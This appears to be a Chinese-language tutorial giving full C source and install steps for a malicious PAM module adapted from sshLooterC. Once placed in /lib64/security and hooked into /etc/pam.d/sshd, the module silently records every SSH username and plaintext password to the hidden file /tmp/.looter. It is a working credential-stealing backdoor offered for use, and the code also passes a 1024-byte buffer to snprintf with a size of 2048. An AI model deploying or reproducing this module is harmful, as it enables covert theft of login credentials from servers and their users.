原版项目地址:https://github.com/mthbernardes/sshLooterC (推送至Telegram)
测试环境:Centos 7
保存到指定文件版本 looter.c
:
#include <stdio.h>
#include <stdlib.h>
#include <curl/curl.h>
#include <string.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>
#include <unistd.h>
size_t write_data(void *buffer, size_t size, size_t nmemb, void *userp)
{
return size * nmemb;
}
void saveMessage(char (*message)[]) {
FILE *fp = NULL;
fp = fopen("/tmp/.looter", "a+");
fputs(*message, fp);
fclose(fp);
}
PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {
int retval;
const char* username;
const char* password;
char message[1024];
retval = pam_get_user(pamh, &username, "Username: ");
pam_get_item(pamh, PAM_AUTHTOK, (void *) &password);
if (retval != PAM_SUCCESS) {
return retval;
}
snprintf(message,2048,"Username %s\nPassword: %s\n",username,password);
saveMessage(&message);
return PAM_SUCCESS;
}
1.安装依赖库
yum -y install libcurl-devel openssl-devel pam-devel gcc
2.编译so扩展文件
cd sshLooter
make
3.把so扩展文件移动到指定目录
64位系统把so扩展文件移动到 /lib64/security/
目录内
32位系统把so扩展文件移动到 /lib/security/
目录内
mv looter.so /lib64/security/
4.修改SSH配置文件
vi /etc/pam.d/sshd
输入 shift + G
移动到最后一行,输入 i
进入编辑模式,在新行添加以下两行内容
auth optional looter.so
account optional looter.so
5.重启ssh服务
service sshd restart
6.登录后内容将会保存到 /tmp/.looter
文件中。